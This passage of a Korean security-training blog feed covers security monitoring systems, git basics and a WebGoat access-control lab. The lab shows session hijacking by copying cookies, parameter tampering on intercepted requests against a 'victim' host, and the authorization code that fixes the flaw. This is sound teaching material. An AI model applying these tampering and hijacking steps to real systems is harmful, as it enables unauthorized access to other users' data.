<li>CD/DVD (SATA) - Use ISO image file: Win10 이미지 선택</li>
</ul>
<br />

<p>설치유형: 사용자 지정 (Window만 설치)</p>
<h3 id="네트워크-설정-2">네트워크 설정</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/d53b7252-d99d-479f-80aa-5092cfd07850/image.png" alt=""></p>
<p>IP 주소: 192.168.10.40/24
Subnet mask: 255.255.255.0
Gateway: 192.168.10.2
DNS 주소도 Gateway랑 동일</p>
<h3 id="ip-확인-2">IP 확인</h3>
<pre><code class="language-shell">$ ipconfig</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/77bd6d8f-3880-45a6-affc-137886de6392/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][클라우드기반 시스템 운영 및 구축] 보안관제 시스템 종류와 Network Maintenance Tools, TAP]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-%EB%B3%B4%EC%95%88%EA%B4%80%EC%A0%9C-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%A2%85%EB%A5%98%EC%99%80-SIEM</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-%EB%B3%B4%EC%95%88%EA%B4%80%EC%A0%9C-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%A2%85%EB%A5%98%EC%99%80-SIEM</guid>
            <pubDate>Wed, 03 Jan 2024 04:25:08 GMT</pubDate>
            <description><![CDATA[<h1 id="보안관제-시스템">보안관제 시스템</h1>
<h2 id="1-nms-network-management-system">1. NMS (Network Management System)</h2>
<h3 id="11-관리대상">1.1. 관리대상</h3>
<p>네트워크 장비(스위치, 라우터 외 보안장비 VPN, IP, FW, DNS)</p>
<h3 id="12-관리항목">1.2. 관리항목</h3>
<ol>
<li>구성관리(환경설정, 장비초기)</li>
<li>성능관리<ul>
<li>시스템들의 상태 정보를 수신받아 해당 장비의 상태 파악</li>
<li>관리 항목<ol>
<li>CPU, 메모리에 대한 사용률(평균값, 최대값) 측정 및 분석</li>
<li>장비별, 지역별, 기간별(시간별, 일별, 주간별, 월별)로 측정 및 분석</li>
<li>임계치 관리 방식에 따른 정보체계 구축 및 관리
(※ 단, 장비의 소프트웨어적인 문제는 배제한다.)</li>
</ol>
</li>
</ul>
</li>
<li>장애관리 - 로그나 정보로 확인</li>
<li>보안정비</li>
<li>계정관리 - 과금, 이용량에 따른 요구 부하</li>
</ol>
<h3 id="13-운영을-위해-사용되는-프로토콜">1.3. 운영을 위해 사용되는 프로토콜</h3>
<p>SNMP, CMIP, RMON 등 ⇒ 여기서 행식 프로토콜은 SNMP 이다.</p>
<h3 id="14-emselement-management-system">1.4. EMS(Element Management System)</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/082ec860-73ff-46c9-94ef-3090fd28bfaf/image.png" alt=""></p>
<ul>
<li>통신망 장비를 네트워크를 통해 감시 및 제어할 수 있는 시스템</li>
<li>EMS는 서브네트워크를 관리</li>
<li>상위계층인 NMS로부터의 요구 수행</li>
<li>관리대상인 NE(Network Element)들을 제어</li>
<li>관리대상에 에이전트를 설치해서 중앙에서 관제</li>
</ul>
<h2 id="2-sms-server-management-system">2. SMS (Server Management System)</h2>
<ul>
<li>서버 관리 시스템</li>
<li>이기종 다양한 서버들의 성능/장애 통합 감시 및 조치하기 위함</li>
</ul>
<h3 id="21-관리대상">2.1. 관리대상</h3>
<ul>
<li>PC의 운영체제, 애플리케이션(서버 급, 클라이언트용)</li>
<li>SMS 또한 Agent 프로그램이 각 시스템에 설치되어야 할 수 있다.</li>
</ul>
<h3 id="22-관리항목">2.2. 관리항목</h3>
<p>성능(CPU, RAM, 처리율), 로그, 프로세스 상태점검</p>
<blockquote>
<p><strong>NMS와 SMS의 공통점과 차이점</strong> </p>
</blockquote>
<ul>
<li>공통점: <ul>
<li>둘다 CPU와 Memory를 관리</li>
</ul>
</li>
<li>차이점<ul>
<li>NMS는 네트워크 장비를 대상으로 한다.</li>
<li>SMS는 EndUser가 사용하는 PC를 대상으로 할 수 있고,  그 외 CPU와 Memory 뿐만 아니라 디스크 사용률, 프로세스, 네트워크 트래픽, 디스트I/O 등의 성능도 추가적으로 감시한다.</li>
</ul>
</li>
</ul>
<h2 id="3-esm-enterprise-security-management">3. ESM (Enterprise Security Management)</h2>
<ul>
<li>통합보안 관제 시스템 = 기업 보안관리 시스템 = 통합보안 관리 시스템 = 전사적 보안관리 시스템</li>
</ul>
<h3 id="31-관리대상">3.1. 관리대상</h3>
<p>NMS와 SMS의 결합</p>
<h3 id="32-구조">3.2. 구조</h3>
<p>Manager - Agent - Console</p>
<h3 id="33-주요기능">3.3. 주요기능</h3>
<ol>
<li>서로 다른 기종의 보안장비들을 통합 관리 기능(SMS)</li>
<li>네트워크 자원현황을 모니터링하는 보안 모니터링 기능(NSM)<ul>
<li>각 장비에 <code>ESM Agent</code> 가 설치되어야 관제가 가능하다.</li>
</ul>
</li>
</ol>
<h3 id="34-프로세스">3.4. 프로세스</h3>
<ol>
<li>ESM Manager 를 통해 정책 설정 <ol start="2">
<li>ESM Agent를 통해 배포</li>
<li>ESM Agent는 정책에 맞는 로그를 이벤트 저장소, 위험 패턴 저장소에 저장
⇒ 저장소에 저장된 로그를 통해 관리자는<ul>
<li>대응 방안 마련(실시간 대응)</li>
<li>새로운 정책 수립(사후 대응)</li>
</ul>
</li>
</ol>
</li>
</ol>
<h2 id="4-siem-security-information--event-management">4. SIEM (Security Information &amp; Event Management)</h2>
<ul>
<li>보안 정보와 이벤트 관리해주는 솔루션</li>
<li>ESM의 진화형태로 기능은 ESM과 같다.</li>
</ul>
<h3 id="41-esm과-siem의-차이점">4.1. ESM과 SIEM의 차이점</h3>
<ul>
<li>ESM : <ul>
<li>데이터 수집량 : 이벤트 위주 단시간(최대1일) 위협분석</li>
<li>데이터 형태 : 정형 테이터</li>
<li>초당 3천건 내외 수집/분석 포함</li>
<li>고가의 유닉스 서버 시스템</li>
</ul>
</li>
<li>SIEM : <ul>
<li>데이터 수집량 : 빅데이터 수준의 장기간(수개월) 심층분석</li>
<li>데이터 형태 : 정형, 비정형, 세미정형까지</li>
<li>초당 3만~5만건 이상 수집/분석 ⇒ RDBMS 기반의 처리 속도 지역 극복</li>
<li>저가의 리눅스 x86 시스템 - 저용량 하드웨어가 </li>
</ul>
</li>
</ul>
<h3 id="42-siem을-이용한-세대별-관제-시스템">4.2. SIEM을 이용한 세대별 관제 시스템</h3>
<ul>
<li>1세대 (단위보안관제) </li>
<li>2세대 (통합보안관제)</li>
<li>3세대 (빅데이터보안관제)<ul>
<li>빅데이터 기반 관제</li>
<li>SIEM 기반 보안관제</li>
</ul>
</li>
<li>4세대 (차세대보안관제)<ul>
<li>머신러닝(AI)기반 이상행위 탐지</li>
<li>소아(SOAR) 기반 자동화 대응<h3 id="43-주요-기능">4.3. 주요 기능</h3>
<ol>
<li>다양한 이기종 장비에서 발생하는 로그를 통합 수집하고 분석</li>
<li>로그 분석<h3 id="44-구조">4.4. 구조</h3>
</li>
<li>애플리케이션이서 생성된 로그를 수집</li>
<li>수집된 로그를 분석</li>
<li>상호연관관계를 파악해서 이미지로 보거나(View), 레포트를 제출하거나(Report), 새로운 정책을 수립한다.</li>
</ol>
</li>
</ul>
</li>
</ul>
<h3 id="45-처리-프로세스">4.5. 처리 프로세스</h3>
<h4 id="1단계-데이터-통합">1단계. 데이터 통합</h4>
<ul>
<li>로그 수집(Collection): 관제 대상의 Agent, SNMP, Syslog 서버로부터 로그 수집<ul>
<li>로그 정규화(일반화)와 필터링 
⇒ 정규화하는 이유? 장비마다 로그가 다르기 때문에 일반화한다.
⇒ 불필요한 데이터 제거<h4 id="2단계-상관관계-분석">2단계. 상관관계 분석</h4>
</li>
<li>로그 분류 ⇒ 로그들 간의 상관관계 분석</li>
<li>로그 분석 ⇒ 위험탐지(시그니처 기반 탐지, 이상징후 탐지)<h4 id="3단계-알림">3단계. 알림</h4>
</li>
<li>관리자에게 대응할 수 있도록 알림<h4 id="4단계-기록">4단계. 기록</h4>
</li>
<li>대시보드(⇒ Splunk를 사용하는 이유)표시 또는 보고서 작성</li>
<li>패턴 표시</li>
<li>활동파악</li>
</ul>
</li>
</ul>
<h3 id="46-ids와-siem의-차이점">4.6. IDS와 SIEM의 차이점</h3>
<ul>
<li>IDS는 실시간으로 트래픽을 수집해서 분석<ul>
<li>실시간 트래픽: MAC주소, IP주소, 포트번호, 데이터</li>
</ul>
</li>
<li>SIEM은 로그를 수집해서 분석<ul>
<li>트래픽을 통해 로그가 생성</li>
<li>로그 구성: 시간정보 / 호스트 정보 / 프로세스 정보</li>
</ul>
</li>
</ul>
<hr>
<h1 id="network-maintenance-tools">Network Maintenance Tools</h1>
<h2 id="1-ntpnetwork-time-protocol">1. NTP(Network Time Protocol)</h2>
<ul>
<li>시간동기화 프로토콜</li>
<li>UDP 123번 포트 사용<h2 id="2-snmpsimple-network-management-protocol">2. SNMP(Simple Network Management Protocol)</h2>
<h3 id="21-기능">2.1. 기능</h3>
</li>
<li>성능관리(네트워크 사용량, 처리속도, 오류율)</li>
<li>장비관리(CPU/Memory/Disk 사용률)</li>
<li>네트워크 구성관리(구성 확인)</li>
</ul>
<p>하나하나가 Object ⇒ Object 정보를 모은 것 MIB</p>
<h3 id="22-특징">2.2. 특징</h3>
<ul>
<li>망에서의 중앙관제</li>
<li>Manger 와 Agent 로 구성<ul>
<li>Manager: UDP 162번 포트 사용</li>
<li>Agent: UDP 161번 포트 사용</li>
</ul>
</li>
</ul>
<h3 id="24-통신명령어">2.4. 통신명령어</h3>
<ul>
<li>Set Request: 로그를 작성하도록 설정</li>
<li>Get Request: 기록된 로그를 요청</li>
<li>Trap: 위험탐지 시 Manager 가 요청하지 않아도 Agent 측에서 보내는 알림</li>
</ul>
<h2 id="3-syslog">3. Syslog</h2>
<h3 id="31-기능">3.1. 기능</h3>
<p>Local에서 한 시스템의 로그를 체계적으로 관리</p>
<h3 id="32-동작-방식">3.2. 동작 방식</h3>
<p>환경설정 파일 <code>/etc/syslog_conf</code>  <code>/etc/rsyslog.conf</code> 에서 설정</p>
<blockquote>
<p><strong>SNMP와 Syslog의 차이점</strong> 
SNMP는 정책에 맞는 로그를 저장하고, Manager의 요청에 따라 제공
Syslog는 Local에서 로그를 수집에서 요청없이 제공</p>
</blockquote>
<h1 id="taptest-access-port">TAP(Test Access Port)</h1>
<h2 id="41-network-tap">4.1. Network TAP</h2>
<ul>
<li>가장 기본적인 TAP</li>
<li>단일 네트워크 링크에서 패킷 데이터를 복제하고 모니터링 장비로 전달 </li>
</ul>
<h2 id="2-aggregation-tap">2. Aggregation TAP</h2>
<ul>
<li>여러 네트워크 링크의 패킷 데이터를 모아서 복제하고 집계하여 다양한 모니터링 장치로 전달</li>
<li>네트워크 상황을 종합적으로 분석하는 데 사용</li>
</ul>
<h2 id="3-bypass-tapbypass-switch">3. ByPass TAP(=ByPass Switch)</h2>
<ul>
<li>ByPassTap 나 IDS/IPS 에서 문제가 일어나면 Switch로 전환되어, Forwading 되도록 한다.</li>
</ul>
<blockquote>
<p>💡 <strong>Network TAP과 ByPass TAP의 차이점</strong>
Network TAP은 트래픽 흐름을 제어할 수 없고, ByPass TAP은 트래픽 흐름을 제어할 수 있다.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][git] Git으로 협업하는 방법]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0git-git-%EB%AA%85%EB%A0%B9%EC%96%B4</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0git-git-%EB%AA%85%EB%A0%B9%EC%96%B4</guid>
            <pubDate>Wed, 27 Dec 2023 04:29:38 GMT</pubDate>
            <description><![CDATA[<h2 id="🏢-협업-용-단체">🏢 협업 용 단체</h2>
<p>Github &gt; Settings 아이콘  클릭 &gt; Your organizations
<img src="https://velog.velcdn.com/images/p-jina/post/825e1a02-62f2-4913-a959-10291e83712b/image.png" alt=""></p>
<p>단체를 만들어가 현재 포함되어 있는 단체 확인 가능
<img src="https://velog.velcdn.com/images/p-jina/post/544da7af-3796-4f08-a9ba-63334ccd0d6b/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/136f00a7-c403-4536-8877-c7e9ebe23420/image.png" alt=""></p>
<h2 id="🔗-작업-디렉토리를-git-저장소에-연결">🔗 작업 디렉토리를 Git 저장소에 연결</h2>
<p>복사할 레포지터리 URL 복사
<img src="https://velog.velcdn.com/images/p-jina/post/4fef5978-65f2-4389-9dc0-cbb963afab58/image.png" alt=""></p>
<pre><code class="language-shell">$ git clone [레포지터리 주소]
$ git branch -M main
$ git add .
$ git commit -m &quot;commit&quot;
$ git push origin main</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][취약점 진단] HTTP의 개요, 쿠키와 세션, Access Control 실습]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%A7%84%EB%8B%A8-HTTP%EC%9D%98-%EA%B0%9C%EC%9A%94-%EC%BF%A0%ED%82%A4%EC%99%80-%EC%84%B8%EC%85%98-Access-Control-%EC%8B%A4%EC%8A%B5</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%A7%84%EB%8B%A8-HTTP%EC%9D%98-%EA%B0%9C%EC%9A%94-%EC%BF%A0%ED%82%A4%EC%99%80-%EC%84%B8%EC%85%98-Access-Control-%EC%8B%A4%EC%8A%B5</guid>
            <pubDate>Fri, 22 Dec 2023 04:02:21 GMT</pubDate>
            <description><![CDATA[<h2 id="1-http">1. HTTP</h2>
<h3 id="11-정의">1.1. 정의</h3>
<ul>
<li>WWW에서 정보를 주고 받을 수 있는 프로토콜</li>
<li>클라이언트-서버 프로토콜</li>
</ul>
<h3 id="12-http-특징">1.2. HTTP 특징</h3>
<ol>
<li>요청, 응답 구조<ul>
<li>HTTP는 반드시 요청을 해야 응답을 준다.</li>
</ul>
</li>
<li>Stateless <ul>
<li>상태를 유지 하지 않기 때문에 요청과 요청 간의 관계를 알 수 없다.</li>
<li>과거 70년도 에는 연결을 유지할 필요가 없었다. HTTP를 통해 데이터 시점, 서버 성능을 고려했을 때 Stateless가 효율적이었다. 시간이 지남에따라 연결 유지의 필요해졌다. StateFull 하기 위해서 Cookie 가 등장했다.</li>
</ul>
</li>
<li>확장성</li>
<li>TCP/IP 기반</li>
</ol>
<pre><code class="language-shell"># WebGoat URL로 HTTP 요청을 보내는 명령어
$ curl -v http://victim:8080/WebGoat</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/d3a2da1f-14ea-44df-9c76-d1cc162b0652/image.png" alt=""></p>
<p>상호 합의 하에 연결을 하고, 4whs을 통해 연결을 종료한다.</p>
<pre><code class="language-shell"># WebGoat URL로 HTTP 요청을 보내는 명령어
$ curl -v http://victim:8080/WebGoat</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/cb57cc4b-581b-4f5d-9293-33b200eca162/image.png" alt=""></p>
<pre><code class="language-shell"># WebGoat URL로 HTTP 요청을 보내는 명령어
# Basic 인증을 사용하여 WebGoat 리소스 정보를 요청
$ curl -v http://victim:8080/WebGoat/ -H &quot;Authorization: basic d2ViZ29hdDp3ZWJnb2F0&quot;</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/af6b27e4-39d7-4e9a-8bc8-d1c73a5d0a63/image.png" alt=""></p>
<h3 id="13-리다이렉션">1.3. 리다이렉션</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/9f1f73e3-8143-471c-ba1a-7c437e3f0d99/image.png" alt=""></p>
<h3 id="14-기본인증basic-authenticate">1.4. 기본인증(Basic Authenticate)</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/1a9d36a1-23b7-4e7a-a298-5b2639550b21/image.png" alt=""></p>
<p>WWW-Authenticate: Basic realm=&quot;WebGoat Application&quot;</p>
<ul>
<li>인코딩 방식으로 전달</li>
<li>안전하지 않다. 왜? 매번 요청할 때마다 요청방식을 전달해야하기 때문에 ⇒ 안전하기 위해서는 Form 기반으로 전달해야 한다.</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/67ba3b57-7f4e-42b2-9edf-cd8ea4dc953a/image.png" alt=""></p>
<h3 id="15-cookie">1.5. Cookie</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/78c878ac-5892-4dd2-bc5a-3ddf9d29e9a4/image.png" alt=""></p>
<ul>
<li><strong>정의</strong>
Stateless한 <span style="color:#e06c75"><strong>HTTP 프로토콜에서 상태를 유지하기 위해</strong></span> 도입된 개념</li>
<li><strong>단점</strong><ul>
<li>요청 헤더와 응답 헤더를 통해 전달되므로 전달 과정에서 탈취 및 도용될 수 있다.</li>
<li>로컬PC 브라우저에 저장되고 JavaScript를 이용해서 쉽게 접근이 가능하므로 쉽게 탈취 및 위조, 변조, 도용될 수 있다.</li>
</ul>
</li>
<li><strong>안전하게 Cookie 운영하는 방법</strong><ul>
<li>가급적 <span style="color:#e06c75"><strong>중요한 정보</strong></span>는 쿠키에 <span style="color:#e06c75"><strong>포함 X</strong></span></li>
<li>중요한 정보를 쿠키에 포함해야하는 경우 <span style="color:#e06c75"><strong>쿠키 암호화</strong></span></li>
<li>쿠키 <span style="color:#e06c75"><strong>유효기간</strong></span> 또는 <span style="color:#e06c75"><strong>지속시간</strong></span>을 <span style="color:#e06c75"><strong>최소한으로 설정</strong></span></li>
<li>쿠키 생성 시 <code>secure</code> 속성 활성화<ul>
<li><code>secure</code> 속성이란? 보안 통신을 할 때만 쿠키 전달하도록 제한</li>
</ul>
</li>
<li>쿠키 생성 시 <code>HttpOnly</code> 속성 설정<ul>
<li><code>HttpOnly</code> 속성이란? 클라이언트에서 쿠키에 JavaScript나 개발자 도구를 이용해 직접 접근을 제한하는 것</li>
</ul>
</li>
</ul>
</li>
<li><strong>실습</strong>
실습을 위해서 Tomcat v7.0 Server의 context.xml 파일에서 <code>&lt;Context&gt;</code> 태그에 <code>useHttpOnly=&quot;false&quot;</code> 를 추가해줘야 한다. HttpOnly 속성이 true면 클라이언트에서 접근 시 <code>&quot; &quot;</code> 만 나온다.
<img src="https://velog.velcdn.com/images/p-jina/post/d20fbc6e-8f4d-4300-8ed5-59730f717c16/image.png" alt="">
HttpOnly 속성이 제거(uncheck) 된 것을 확인할 수 있다.
<img src="https://velog.velcdn.com/images/p-jina/post/905782c9-82a9-4376-bd56-e009ce3c124d/image.png" alt="">
openeg에서 같은 계정으로 로그인해 각각 크롬와 파이어폭스에서 쿠키 값을 확인해보면 서로 다른 것을 확인할 수 있다. 왜? 각 브라우저는 자체 쿠키 저장소를 갖고 있기 때문에
<img src="https://velog.velcdn.com/images/p-jina/post/c3377b78-9e63-4995-a71e-c4b48ec20f2c/image.png" alt=""><img src="https://velog.velcdn.com/images/p-jina/post/d5ea66fe-47da-4ecc-88d7-afd4a5ff4b0a/image.png" alt=""></li>
</ul>
<p>로그인한 브라우저의 쿠키값을 추출해서 로그인하지 않은 브라우저에 설정 후 새로고침 ⇒ 서버는 세션 ID를 이용해서 사용자를 식별하는데, 세션 ID가 포함되어 있는 쿠키를 탈취 당하게 되면, 서버를 속여서 접근이 가능하게 됨</p>
<h3 id="16-session">1.6. Session</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/1b9f4e0f-affe-40c7-97e6-ef68262ba82e/image.png" alt=""></p>
<ul>
<li><p><strong>정의</strong></p>
<ul>
<li><span style="color:#e06c75"><strong>쿠키의 단점을 보안하기 위해</strong></span> 나온 개념</li>
<li>중요 정보를 서버의 세션에 저장하고, 사용자에게는 해당 세션에 접근할 수 있는 세션 ID를 발급</li>
</ul>
</li>
<li><p><strong>단점</strong></p>
<ul>
<li>중요 정보에 대한 직접적인 유출은 막을 수 있으나, 중요 정보 접근에 사용되는 세션 ID 발급 및 관리가 중요해진다.</li>
</ul>
</li>
<li><p><strong>발생할 수 있는 문제점</strong></p>
<ul>
<li>세션 ID 고정 : 인증 전후에 동일한 세션 ID를 사용하는 경우 발생</li>
<li>세션 ID 훔치기 : <span style="color:#e06c75"><strong>세션 ID가 요청, 응답을 통해서 전달되는 과정</strong></span> 또는 <span style="color:#e06c75"><strong>사용자 PC, 브라우저에 저장된 것</strong></span>을 탈취, 조작할 수 있을 때 발생</li>
<li>세션 ID 추측 : 세션 ID의 생성 규칙을 유추할 수 있는 경우 발생<ol>
<li>공격자가 다음에 생성될 세션 ID를 미리 설정</li>
<li>불특정 다수의 희생자에게 동일한 세션 ID가 발급되기를 대기</li>
<li>동일한 세션 ID를 발급받은 희생자가 생기면 공격자는 희생자의 권한으로 사이트 이용</li>
</ol>
</li>
</ul>
<p>⇒ 세션 ID를 발급, 관리를 잘못한 경우</p>
</li>
</ul>
<h3 id="실습문제1---stage-1">실습문제1 - Stage 1</h3>
<p>WebGoat &gt; Access Control Flaws &gt; LAB:Role Based Access Control
<img src="https://velog.velcdn.com/images/p-jina/post/e24381e1-91e8-4971-a846-22ba4ab61e61/image.png" alt=""></p>
<h4 id="1-목표">1. 목표</h4>
<p>Employee Tom으로 Staff Listing Page에서 Tom의 프로필 삭제하기</p>
<h4 id="2-로그인해서-소속에-따른-페이지-확인하기">2. 로그인해서 소속에 따른 페이지 확인하기</h4>
<p>Tom(pw : tom) 로그인한 경우
<img src="https://velog.velcdn.com/images/p-jina/post/67262f34-4162-46a6-9e1e-fa19cf95a050/image.png" alt=""></p>
<p>Jerry(pw: jerry) 로그인한 경우
<img src="https://velog.velcdn.com/images/p-jina/post/ce547e35-002a-4f12-a5cb-b6f089fd4102/image.png" alt=""></p>
<h4 id="3-jerry-로그인-상태에서-deleteprofile-해보기">3. Jerry 로그인 상태에서 DeleteProfile 해보기</h4>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a9ec9d69-7c9c-4087-a9f9-0ceb0734417b/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/c465215d-f1e1-4649-91d0-d88e1d42ef76/image.png" alt=""></p>
<h4 id="4-tom-로그인-상태에서-tom-프로필-삭제하기">4. Tom 로그인 상태에서 Tom 프로필 삭제하기</h4>
<p>ViewProfile &gt; Tom employee_id=106 확인 
<img src="https://velog.velcdn.com/images/p-jina/post/5c25cf7e-7e48-4dca-ba6b-76e3a723a7a4/image.png" alt=""></p>
<p>SearchStaff 클릭 후 패킷 Intercept
<img src="https://velog.velcdn.com/images/p-jina/post/6cc18dd9-8d42-4eb4-9226-26750590e822/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/4ea82ea9-a1bc-4909-ba24-4ee212b1ce3a/image.png" alt=""></p>
<p>employee_id, action을 변경
<img src="https://velog.velcdn.com/images/p-jina/post/57a34322-0b5b-4373-b39d-b2b2d17125c7/image.png" alt=""></p>
<h4 id="5-성공하면-stage-2-add-business-layer-access-control-로-이동">5. 성공하면 Stage 2: Add Business Layer Access Control 로 이동</h4>
<p><img src="https://velog.velcdn.com/images/p-jina/post/1c646985-c8c0-459d-8b85-7bfa88ea35fc/image.png" alt=""></p>
<h3 id="실습문제2---stage-2">실습문제2 - Stage 2</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/1c646985-c8c0-459d-8b85-7bfa88ea35fc/image.png" alt=""></p>
<h4 id="1-목적">1. 목적</h4>
<p>요청한 사용자의 권한 여부를 체크하는 로직을 추가하기</p>
<h4 id="2-소스-코드-분석">2. 소스 코드 분석</h4>
<p>RoleBasedAccessContol.java </p>
<pre><code class="language-java">public void handleRequest(WebSession s)
    {
        // Here is where dispatching to the various action handlers happens.
        // It would be a good place verify authorization to use an action.

        // System.out.println(&quot;RoleBasedAccessControl.handleRequest()&quot;);
        if (s.getLessonSession(this) == null) s.openLessonSession(this);

        String requestedActionName = null;
        try
        {
            // action 요청 파라미터 값을 추출
            requestedActionName = s.getParser().getStringParameter(&quot;action&quot;);
        } catch (ParameterNotFoundException pnfe)
        {
            // Let them eat login page.
            requestedActionName = LOGIN_ACTION;
        }
        // System.out.println(&quot;Requested lesson action: &quot; + requestedActionName);

        try
        {
            DefaultLessonAction action = (DefaultLessonAction) getAction(requestedActionName);
            if (action != null)
            {
                // System.out.println(&quot;RoleBasedAccessControl.handleRequest() dispatching to: &quot; +
                // action.getActionName());
                if (!action.requiresAuthentication())
                {
                    // Access to Login does not require authentication.
                    action.handleRequest(s);
                }
                else
                {
                    // ***************CODE HERE*************************

                    // *************************************************
                    // 인증 여부 확인
                    if (action.isAuthenticated(s))
                    {
                        // 요청 처리
                        action.handleRequest(s);
                    }
                    else
                        // 인증 오류 반환
                        throw new UnauthenticatedException();
                }
            }

           ...(생략)...</code></pre>
<p>요청한 사용자의 권한 여부를 확인하지 않고, 인증 여부만 확인하고 요청을 처리하고 있다는 것을 확인할 수 있다.</p>
<h4 id="3-요청한-사용자의-권한-여부를-체크하는-로직을-추가하기">3. 요청한 사용자의 권한 여부를 체크하는 로직을 추가하기</h4>
<pre><code class="language-java">//
public void handleRequest(WebSession s)
    {
        // Here is where dispatching to the various action handlers happens.
        // It would be a good place verify authorization to use an action.

        // System.out.println(&quot;RoleBasedAccessControl.handleRequest()&quot;);
        if (s.getLessonSession(this) == null) s.openLessonSession(this);

        String requestedActionName = null;
        try
        {
            requestedActionName = s.getParser().getStringParameter(&quot;action&quot;);
        } catch (ParameterNotFoundException pnfe)
        {
            // Let them eat login page.
            requestedActionName = LOGIN_ACTION;
        }
        // System.out.println(&quot;Requested lesson action: &quot; + requestedActionName);

        try
        {
            DefaultLessonAction action = (DefaultLessonAction) getAction(requestedActionName);
            if (action != null)
            {
                // System.out.println(&quot;RoleBasedAccessControl.handleRequest() dispatching to: &quot; +
                // action.getActionName());
                if (!action.requiresAuthentication())
                {
                    // Access to Login does not require authentication.
                    action.handleRequest(s);
                }
                else
                {
                    // ***************CODE HERE*************************

                    // *************************************************
                    /* 기존 코드 주석처리
                    if (action.isAuthenticated(s))
                    {
                        action.handleRequest(s);
                    }
                    else
                        throw new UnauthenticatedException();
                    */
                    // ********************추가*******************
                    // 요청 사용자의 인증 여부를 확인
                    if (action.isAuthenticated(s)) {
                        // 요청 사용자의 요청 권한 여부를 확인
                        // isAuthorized(WebSession s, int employeeId, String functionId)
                        if (action.isAuthorized(s, action.getUserId(s), action.getActionName())) {
                            action.handleRequest(s);
                        } else {
                            // 권한 오류
                            throw new UnauthorizedException();
                        }
                    } else {
                        // 인증 오류
                        throw new UnauthenticatedException();
                    }
                }
            }
            else
                setCurrentAction(s, ERROR_ACTION);
                        // ****************************************</code></pre>
<h4 id="4-결과-확인">4. 결과 확인</h4>
<p>코드 수정 후 Stage 2에서 Stage 1과 동일하게 실습 진행 시 DeleteProfile 요청이 처리되지 않는 것을 확인할 수 있다.
<img src="https://velog.velcdn.com/images/p-jina/post/40956e74-456a-4372-8f3d-4eb9e5783579/image.png" alt=""></p>
<h3 id="실습문제3---stage-3">실습문제3 - Stage 3</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/2f3bc3dd-c345-4a79-9335-bfc239a919e7/image.png" alt=""></p>
<h4 id="1-목적-1">1. 목적</h4>
<p>Tom으로 다른 직원의 프로필 조회하기</p>
<h4 id="2-tom으로-로그인한-상태로-viewprofile-패킷-확인">2. Tom으로 로그인한 상태로 ViewProfile 패킷 확인</h4>
<p><img src="https://velog.velcdn.com/images/p-jina/post/b4bd10b5-6ccd-400e-b87e-ab57f5e5eaec/image.png" alt=""></p>
<h4 id="3-employee_id를-jerry의-id로-변경-후-결과-확인">3. employee_id를 Jerry의 id로 변경 후 결과 확인</h4>
<p><img src="https://velog.velcdn.com/images/p-jina/post/72932e7f-bca0-4758-aad6-3cecbd5225f4/image.png" alt=""></p>
<p>Stage 4로 이동되어야 한다.</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a418d7bd-d12f-498e-94c6-7e374ff1db46/image.png" alt=""></p>
<h3 id="실습문제4---stage-4">실습문제4 - Stage 4</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a418d7bd-d12f-498e-94c6-7e374ff1db46/image.png" alt=""></p>
<p>예상 쿼리</p>
<pre><code class="language-sql">SELECT * FROM employee WHERE employee_id=사원번호</code></pre>
<ul>
<li>목록 조회 : 비슷한(동일) 유형의 데이터(레코드)가 나열되는 형식</li>
<li>상세 조회 : 하나의 데이터(레코드)의 구성요소가 출력되는 형식</li>
<li>목록 데이터에서 해당 레코드를 유일하게 식별할 수 있는 값 = 유일 키</li>
</ul>
<p>😨 유일키만으로 데이터를 조회하는 경우 파라미터를 조작하면 목록에 나오지 않는 데이터의 열람이 가능해진다.</p>
<p>그렇기 때문에 목록 조회 기능을 구현할 때는 다양한 조건절을 추가해야한다.</p>
<ul>
<li>검색어</li>
<li>정책 (예: del_yn 컬럼의 값이 &#39;Y&#39;인 데이터는 조회에서 제외)</li>
<li>권한 (예: 로그인한 사용자와 동일한 전공인 학생만 조회하도록 제한)</li>
</ul>
